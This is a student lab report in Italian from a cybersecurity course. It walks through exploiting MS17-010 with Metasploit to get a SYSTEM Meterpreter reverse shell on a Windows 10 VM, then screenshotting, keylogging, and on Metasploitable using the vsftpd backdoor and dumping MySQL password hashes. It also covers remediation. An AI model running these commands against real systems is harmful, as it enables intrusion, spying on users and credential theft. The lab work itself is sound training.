

REPORT – Exploit MS17-010 (EternalBlue)

Corso: Cybersecurity Analyst

Modulo: W17D1 (Pratica)

Piattaforma: Epicode

Studente: Nouman Javed Nizami

Data: 14/04/2026

Obiettivo

Ottenere una sessione Meterpreter su un sistema Windows sfruttando la vulnerabilità MS17-010 e svolgere attività di post-exploitation.

Ambiente di laboratorio

Attaccante: Kali Linux

Target: Windows 10 Pro (Build 10240)

Rete:

- Kali: 192.168.50.100

- Windows: 192.168.50.102

1. Scansione della vulnerabilità

È stata effettuata una scansione con Nmap per verificare la presenza della vulnerabilità MS17-010 sulla porta 445.

Comando utilizzato:

```
nmap -p 445 --script smb-vuln-ms17-010 192.168.50.102
```

Risultato: Il sistema è risultato vulnerabile.

OUTPUT NMAP

```
(kali@kali)-[~]
$ nmap -p 445 --script smb-vuln-ms17-010 192.168.50.102
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-14 10:39 -0500
Nmap scan report for 192.168.50.102
Host is up (0.0017s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 0A:CF:10:76:09:9B (Unknown)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attack
s/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_

Nmap done: 1 IP address (1 host up) scanned in 4.81 seconds
```

2. Exploit con Metasploit

È stato utilizzato Metasploit Framework per sfruttare la vulnerabilità.

Modulo utilizzato:

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_psexec

Configurazione:

set RHOSTS 192.168.50.102

set LHOST 192.168.50.100

set payload windows/x64/meterpreter/reverse_tcp

Esecuzione:

run

CONFIGURAZIONE + AVVIO EXPLOIT

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 Eter
nalBlue SMB Remote Windows Kernel Pool Corruption					
1	_ target: Automatic Target	.	.	.	.
2	_ target: Windows 7	.	.	.	.
3	_ target: Windows Embedded Standard 7	.	.	.	.
4	_ target: Windows Server 2008 R2	.	.	.	.
5	_ target: Windows 8	.	.	.	.
6	_ target: Windows 8.1	.	.	.	.
7	_ target: Windows Server 2012	.	.	.	.
8	_ target: Windows 10 Pro	.	.	.	.
9	_ target: Windows 10 Enterprise Evaluation	.	.	.	.
10	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 Eter
nalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution					
11	_ target: Automatic	.	.	.	.
12	_ target: PowerShell	.	.	.	.
13	_ target: Native upload	.	.	.	.
14	_ target: MOF upload	.	.	.	.
15	_ AKA: ETERNALSYNERGY	.	.	.	.
16	_ AKA: ETERNALROMANCE	.	.	.	.
17	_ AKA: ETERNALCHAMPION	.	.	.	.
18	_ AKA: ETERNALBLUE	.	.	.	.
19	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 Eter
nalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution					
20	_ AKA: ETERNALSYNERGY	.	.	.	.
21	_ AKA: ETERNALROMANCE	.	.	.	.
22	_ AKA: ETERNALCHAMPION	.	.	.	.
23	_ AKA: ETERNALBLUE	.	.	.	.
24	auxiliary/scanner/smb/smb_ms17_010	.	normal	Yes	MS17-010 SMB
RCE Detection					
25	_ AKA: DOUBLEPULSAR	.	.	.	.
26	_ AKA: ETERNALBLUE	.	.	.	.
27	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPUL
SAR Remote Code Execution					
28	_ target: Execute payload (x64)	.	.	.	.
29	_ target: Neutralize implant	.	.	.	.

Interact with a module by name or index. For example `info 29`, `use 29` or `use exploit/windows/smb/smb_doublepulsar_rce`
After interacting with a module you can manually set a TARGET with `set TARGET 'Neutralize implant'`

```
msf exploit(windows/smb/ms17_010_eternalblue) > set payload 32
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) >
```

Inizialmente è stato utilizzato il modulo:

exploit/windows/smb/ms17_010_eternalblue

Tuttavia, l'exploit non ha prodotto una sessione Meterpreter. Questo comportamento è coerente con il fatto che EternalBlue risulta meno stabile su sistemi Windows 10, mentre è molto più affidabile su Windows 7 e sistemi legacy.

Per questo motivo è stato utilizzato un modulo alternativo più stabile:

```
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.102:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.102:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x
[*] 192.168.50.102:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.102:445 - The target is vulnerable.
[*] 192.168.50.102:445 - shellcode size: 1283
[*] 192.168.50.102:445 - numGroomConn: 12
[*] 192.168.50.102:445 - Target OS: Windows 10 Pro 10240
[+] 192.168.50.102:445 - got good NT Trans response
[+] 192.168.50.102:445 - got good NT Trans response
[+] 192.168.50.102:445 - SMB1 session setup allocate nonpaged pool success
[+] 192.168.50.102:445 - SMB1 session setup allocate nonpaged pool success
[-] 192.168.50.102:445 - Exploit failed with the following error: Read timeout expired when
[*] Exploit completed, but no session was created.
```

3. Ottenimento sessione Meterpreter

L'exploit ha avuto successo e ha aperto una sessione Meterpreter con privilegi elevati (SYSTEM).

SESSIONE APERTA

```
msf exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.50.102
RHOSTS => 192.168.50.102
msf exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.102:445 - Target OS: Windows 10 Pro 10240
[*] 192.168.50.102:445 - Built a write-what-where primitive...
[+] 192.168.50.102:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.102:445 - Selecting PowerShell target
[*] 192.168.50.102:445 - Executing the payload...
[+] 192.168.50.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (244806 bytes) to 192.168.50.102
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.102:49476) at 2026-04-14 11:50:48 -0500

meterpreter > █
```

4. Raccolta informazioni sistema

Comandi eseguiti:

sysinfo

getuid

Risultati: Sistema operativo Windows 10, architettura x64, utente con privilegi elevati.

```
meterpreter > sysinfo
Computer      : DESKTOP-9K104BT
OS            : Windows 10 (10.0 Build 10240).
Architecture : x64
System Language : it_IT
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > █
```

```
meterpreter > getuid  
Server username: DESKTOP-9K104BT\user  
meterpreter > 
```

5. Screenshot del sistema target

Inizialmente lo screenshot non era possibile a causa della sessione non interattiva.

È stata effettuata una migrazione verso un processo con desktop attivo:

ps
migrate <PID>

```
meterpreter > migrate 3448  
[*] Migrating from 3892 to 3448 ...  
[*] Migration completed successfully.  
meterpreter > 
```

Successivamente è stato eseguito il comando:

screenshot

Il file è stato salvato su Kali e aperto per verificarne il contenuto.

```
meterpreter > screenshot  
Screenshot saved to: /home/kali/zdesAFBs.jpeg
```

COMANDO SCREENSHOT (eog /home/kali/zdesAFBs.jpeg) o (Open desAFBs.jpeg)

IMMAGINE APERTA SU KALI



6. Verifica webcam

Comando utilizzato:

webcam_list

Risultato: Nessuna webcam rilevata sul sistema target.

WEBCAM

```
meterpreter > webcam_list  
[-] No webcams were found
```

7. Keylogging

Sono state effettuate operazioni di keylogging:

keyscan_start

keyscan_dump

keyscan_stop

Questo dimostra la possibilità di intercettare input da tastiera.

KEYLOGGING

```
meterpreter > keyscan_start  
Starting the keystroke sniffer ...  
meterpreter > keyscan_dump  
Dumping captured keystrokes ...  
  
meterpreter > keyscan_stop  
Stopping the keystroke sniffer ...  
meterpreter > █
```

8. Problemi riscontrati

- L'exploit EternalBlue iniziale non ha stabilito una sessione
- È stato necessario utilizzare il modulo psexec
- Lo screenshot inizialmente falliva per assenza di desktop

9. Conclusione

L'attività ha dimostrato con successo la presenza della vulnerabilità MS17-010, l'accesso remoto al sistema target e l'ottenimento di privilegi elevati (SYSTEM). Il sistema risulta compromesso.

Considerazioni finali

Questo esercizio evidenzia l'importanza di mantenere i sistemi aggiornati, disabilitare protocolli obsoleti come SMBv1 e utilizzare adeguate misure di sicurezza.

SEZIONE FACOLTATIVA – REMEDIATION MS17-010

Remediation della vulnerabilità MS17-010

Durante l'attività pratica è stato possibile sfruttare con successo la vulnerabilità MS17-010 tramite il protocollo SMB sulla porta 445, ottenendo accesso remoto al sistema target con privilegi elevati (SYSTEM). Questo dimostra che il sistema non era aggiornato e che il servizio SMB era esposto e vulnerabile.

Possiamo risolvere completamente la vulnerabilità? Con quale effort?

Sì, la vulnerabilità può essere completamente risolta applicando le patch di sicurezza rilasciate da Microsoft (MS17-010). Questo intervento ha un effort relativamente basso, in quanto consiste nell'aggiornamento del sistema operativo. Tuttavia, in ambienti aziendali può richiedere test di compatibilità e pianificazione per evitare interruzioni dei servizi.

Possiamo risolvere solo la vulnerabilità specifica?

Sì, è possibile mitigare direttamente questa vulnerabilità disabilitando il protocollo SMBv1 e limitando l'accesso alla porta 445 tramite firewall. Tuttavia, questa soluzione è parziale, poiché non protegge da altre vulnerabilità eventualmente presenti nel sistema. È quindi una mitigazione temporanea e non definitiva.

Possiamo limitare l'accesso e i movimenti dell'attaccante?

Sì, anche in caso di compromissione è possibile ridurre significativamente l'impatto dell'attacco adottando misure di sicurezza aggiuntive:

Segmentazione della rete (VLAN) per isolare i sistemi critici

Firewall interni per bloccare il traffico laterale

Applicazione del principio del minimo privilegio (least privilege)

Monitoraggio continuo tramite log e sistemi SIEM

Utilizzo di sistemi IDS/IPS per rilevare attività malevole

Queste tecniche permettono di limitare i movimenti laterali dell'attaccante e contenere l'incidente.

Conclusione

La mitigazione efficace della vulnerabilità MS17-010 richiede un approccio multilivello: applicazione delle patch, riduzione della superficie di attacco e implementazione di controlli di sicurezza avanzati. Questo approccio rientra nel modello di difesa in profondità (defense in depth), fondamentale nella cybersecurity moderna.

Pratica Extra: Enumerazione MySQL su Metasploitable

1. Obiettivo

Ottenere la lista degli utenti MySQL dal target Metasploitable utilizzando tecniche di penetration testing.

2. Setup

Ambiente composto da:

- Kali Linux (attaccante)
- Metasploitable (target)
- Rete interna 192.168.50.0/24

3. Scansione iniziale

È stata effettuata una scansione con Nmap per identificare il servizio MySQL sulla porta 3306.

Nmap scan porta 3306 aperta

```
(kali㉿kali)-[~]
└─$ sudo nmap -p 3306 192.168.50.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-14 16:56 -0500
Nmap scan report for metasploitable (192.168.50.101)
Host is up (0.0015s latency).

PORT      STATE SERVICE
3306/tcp  open  mysql
MAC Address: 12:35:01:1C:11:16 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
```

4. Tentativi di enumerazione

È stato eseguito lo script nmap mysql-brute per tentare l'individuazione di credenziali valide sul servizio MySQL.

Il risultato non ha restituito account validi, indicando che:

- le credenziali non sono facilmente individuabili tramite brute force
- oppure il servizio presenta limitazioni o protezioni

Questo ha portato alla necessità di adottare tecniche alternative di accesso.

Risultato dello script nmap mysql-brute: nessuna credenziale valida individuata

```
(kali㉿kali)-[~]
└─$ sudo nmap -p 3306 --script mysql-brute 192.168.50.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-14 16:57 -0500
Nmap scan report for metasploitable (192.168.50.101)
Host is up (0.00057s latency).

PORT      STATE SERVICE
3306/tcp  open  mysql
| mysql-brute:
|   Accounts: No valid accounts found
|   Statistics: Performed 0 guesses in 5 seconds, average tps: 0.0
|_  ERROR: The service seems to have failed or is heavily firewalled...
MAC Address: 12:35:01:1C:11:16 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 5.17 seconds
```

Tentativo di enumerazione utenti MySQL con Nmap (mysql-users)

Esecuzione dello script nmap mysql-users per l'enumerazione degli utenti MySQL.

Il comando non ha restituito risultati, indicando che il servizio non espone informazioni sugli utenti oppure che l'accesso è limitato. Questo conferma che non è possibile ottenere utenti tramite tecniche di enumerazione diretta. Questo ha portato alla necessità di utilizzare tecniche alternative, come l'accesso diretto al sistema tramite exploit.

```
(kali㉿kali)-[~]  
$ nmap -p 3306 --script mysql-users 192.168.50.101  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-15 10:10 -0500  
Nmap scan report for metasploitable (192.168.50.101)  
Host is up (0.00037s latency).  
  
PORT      STATE SERVICE  
3306/tcp  open  mysql  
MAC Address: 12:35:01:1C:11:16 (Unknown)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

5. Exploitation con Metasploit

È stato utilizzato il modulo vsftpd backdoor per ottenere accesso al sistema target.

exploit riuscito + sessione meterpreter

Esecuzione del modulo vsftpd_234_backdoor tramite Metasploit.

Dopo un primo tentativo non riuscito, è stato effettuato un nuovo exploit che ha portato all'apertura di una sessione meterpreter (ID 2) sul sistema target.

La sessione attiva conferma il successo dell'attacco e l'accesso remoto alla macchina Metasploitable.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101  
RHOSTS => 192.168.50.101  
msf exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] Started reverse TCP handler on 192.168.50.100:4444  
[!] 192.168.50.101:21 - The port used by the backdoor bind listener is already open. Trying  
[+] 192.168.50.101:21 - Backdoor has been spawned!  
[*] Meterpreter session 2 opened (192.168.50.100:4444 -> 192.168.50.101:36778) at 2026-04-1  
[-] 192.168.50.101:21 - The service on port 6200/TCP does not appear to be a fresh shell. A  
[-] 192.168.50.101:21 - Exploit aborted due to failure: none: Could not connect to backdoor  
[*] Exploit completed, but no session was created.  
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions  
  
Active sessions  
-----  


| Id | Name | Type        | Information                                 | Connection            |
|----|------|-------------|---------------------------------------------|-----------------------|
| 2  |      | meterpreter | x86/linux root @ metasploitable.localdomain | 192.168.50.100:4444 - |

  
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 2  
[*] Starting interaction with 2...  
  
meterpreter > mysql -u root
```


6. Accesso al sistema e database

Una volta ottenuta la shell, è stato esplorato il filesystem fino alla directory del database MySQL.

Percorso: /var/lib/mysql/mysql

All'interno della directory sono stati identificati i file principali del database, tra cui quelli relativi agli utenti (user.MYD), ai privilegi (tables_priv) e alla configurazione del sistema.

Questi file possono essere utilizzati per attività di analisi e recupero delle credenziali.

Percorso: /var/lib/mysql/mysql

```
tikiwiki195
cd mysql
ls
columns_priv.MYD
columns_priv.MYI
columns_priv.frm
db.MYD
db.MYI
db.frm
func.MYD
func.MYI
func.frm
help_category.MYD
help_category.MYI
help_category.frm
help_keyword.MYD
help_keyword.MYI
help_keyword.frm
help_relation.MYD
help_relation.MYI
help_relation.frm
help_topic.MYD
help_topic.MYI
help_topic.frm
host.MYD
host.MYI
host.frm
proc.MYD
proc.MYI
proc.frm
procs_priv.MYD
procs_priv.MYI
procs_priv.frm
tables_priv.MYD
tables_priv.MYI
tables_priv.frm
time_zone.MYD
time_zone.MYI
time_zone.frm
time_zone_leap_second.MYD
time_zone_leap_second.MYI
time_zone_leap_second.frm
time_zone_name.MYD
time_zone_name.MYI
time_zone_name.frm
```

```
func.MYI
func.frm
help_category.MYD
help_category.MYI
help_category.frm
help_keyword.MYD
help_keyword.MYI
help_keyword.frm
help_relation.MYD
help_relation.MYI
help_relation.frm
help_topic.MYD
help_topic.MYI
help_topic.frm
host.MYD
host.MYI
host.frm
proc.MYD
proc.MYI
proc.frm
procs_priv.MYD
procs_priv.MYI
procs_priv.frm
tables_priv.MYD
tables_priv.MYI
tables_priv.frm
time_zone.MYD
time_zone.MYI
time_zone.frm
time_zone_leap_second.MYD
time_zone_leap_second.MYI
time_zone_leap_second.frm
time_zone_name.MYD
time_zone_name.MYI
time_zone_name.frm
time_zone_transition.MYD
time_zone_transition.MYI
time_zone_transition.frm
time_zone_transition_type.MYD
time_zone_transition_type.MYI
time_zone_transition_type.frm
user.MYD
user.MYI
user.frm
```

7. Estrazione utenti MySQL

Sono stati letti i file del database (user.MYD) per ottenere utenti e hash.

È stato analizzato il file user.MYD utilizzando il comando strings per estrarre informazioni leggibili.

L'output ha permesso di identificare diversi utenti del database, tra cui root, debian-sys-maint e guest, insieme ai relativi hash delle password.

Queste informazioni possono essere utilizzate per attività di cracking offline o per ulteriori tentativi di autenticazione.

```
strings user.MYD
XE35407D884A6CD4A731AEBFB6AF209E1B
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
debian-sys-maint
root
guest
```

8. Port Forwarding

È stato configurato un tunnel per accedere al servizio MySQL da Kali.

Comando: portfwd add -l 3307 -p 3306 -r 127.0.0.1

È stato configurato un port forwarding tramite Meterpreter per accedere al servizio MySQL del target dalla macchina Kali.

Il traffico locale sulla porta 3307 viene inoltrato alla porta 3306 del sistema remoto (localhost del target).

Questo consente di interagire con il database come se fosse esposto localmente, bypassando eventuali restrizioni di rete.

```
meterpreter > portfwd add -l 3307 -p 3306 -r 127.0.0.1
[*] Forward TCP relay created: (local) :3307 → (remote) 127.0.0.1:3306
```

9. Verifica connessione

La connessione è stata verificata con netcat.

La connessione al servizio MySQL inoltrato è stata verificata utilizzando netcat.

Il test sulla porta locale 3307 ha confermato che il servizio è raggiungibile e in ascolto, indicando che il port forwarding è stato configurato correttamente.

```
(kali@kali)-[~]
$ nc -v 127.0.0.1 3307
localhost [127.0.0.1] 3307 (?) open
```

10. Problemi di connessione MySQL

Il client MySQL su Kali non riesce a connettersi a causa di incompatibilità TLS/SSL con la versione legacy.

Il tentativo di connessione al servizio MySQL tramite il client da Kali Linux non ha avuto successo, nonostante il port forwarding fosse attivo e la porta risultasse raggiungibile.

L'errore è dovuto a un'incompatibilità tra il client MySQL moderno utilizzato su Kali e la versione legacy del server MySQL presente sul sistema target (MySQL 5.0.51a). In particolare, il problema riguarda i protocolli di sicurezza TLS/SSL, che non sono supportati correttamente dalla versione obsoleta del server.

Durante i test sono stati effettuati diversi tentativi:

- connessione diretta tramite client MySQL ("mysql -h 127.0.0.1 -P 3307 -u root")
- utilizzo di netcat per verificare l'apertura della porta (con esito positivo)
- enumerazione tramite Nmap (mysql-users e mysql-brute), senza risultati utili

Nonostante la porta risultasse aperta e raggiungibile, il client MySQL non è riuscito a stabilire una sessione valida a causa della negoziazione TLS fallita.

Per questo motivo, è stato necessario adottare un approccio alternativo, accedendo direttamente ai file del database dal filesystem del target tramite shell, permettendo comunque l'estrazione degli utenti e degli hash.

```
(kali@kali)-[~]  
$ mysql -h 127.0.0.1 -P 3307 -u root  
WARNING: option --ssl-verify-server-cert is disabled, because of an insecure passwordless login.  
[ ]
```

11. Conclusione

L'obiettivo dell'esercizio è stato raggiunto con successo attraverso un approccio metodico di penetration testing, partendo dalla fase di scanning fino allo sfruttamento e all'analisi post-exploitation.

Inizialmente sono stati identificati i servizi attivi sul target tramite Nmap, individuando in particolare il servizio FTP vulnerabile (vsftpd 2.3.4) e il servizio MySQL esposto sulla porta 3306. I tentativi di enumerazione sul database MySQL, effettuati tramite script Nmap (mysql-users e mysql-brute), non hanno prodotto risultati utili, evidenziando limiti nell'accesso diretto al servizio.

Successivamente, è stato sfruttato con successo il modulo vsftpd_234_backdoor tramite Metasploit, ottenendo una sessione Meterpreter con privilegi elevati sul sistema target. Questo ha permesso di accedere direttamente al filesystem e di esplorare le directory sensibili.

Nonostante il port forwarding abbia reso il servizio MySQL raggiungibile localmente da Kali, la connessione tramite client MySQL non è andata a buon fine a causa di incompatibilità TLS/SSL tra il client moderno e la versione legacy del server.

Per superare questo limite, è stato adottato un approccio alternativo, accedendo direttamente ai file del database MySQL presenti nel filesystem (/var/lib/mysql/mysql). Tramite l'analisi del file user.MYD è stato possibile estrarre informazioni rilevanti, tra cui utenti e hash delle password.

Questo esercizio dimostra l'importanza di adattare la strategia durante un'attività di penetration testing, evidenziando come, anche in presenza di limitazioni tecniche, sia possibile raggiungere l'obiettivo attraverso tecniche alternative di post-exploitation.